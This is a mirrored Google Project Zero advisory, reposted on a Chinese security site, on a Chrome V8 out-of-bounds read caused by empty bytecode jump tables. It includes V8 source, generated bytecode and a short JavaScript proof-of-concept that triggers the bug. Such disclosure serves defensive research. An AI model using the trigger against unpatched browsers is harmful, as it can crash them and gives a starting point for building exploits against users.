首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Chrome V8 Out-Of-Bounds Read
来源:Google Security Research 作者:lokihardt 发布时间:2018-03-06  
Chrome: V8: Empty BytecodeJumpTable may lead to OOB read 




In the current implementation, the bytecode generator also emits empty jump tables.
<a href="https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89</a>

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never richs, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Chrome V8 JIT Optmization Bug
·Chrome V8 JIT JSBuiltinReducer
·Softros Network Time System Se
·Chrome V8 JIT GetSpecializatio
·Memcached - 'memcrashed' Denia
·Tenda AC15 Router - Pe-authent
·ActivePDF Toolkit < 8.1.0.1902
·Sophos UTM 9.410 - 'loginuser'
·Dup Scout Enterprise 10.5.12 -
·Xion 1.0.125 - '.m3u' Local SE
·Papenmeier WiFi Baby Monitor F
·NETGEAR Magic telnetd Enabler
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved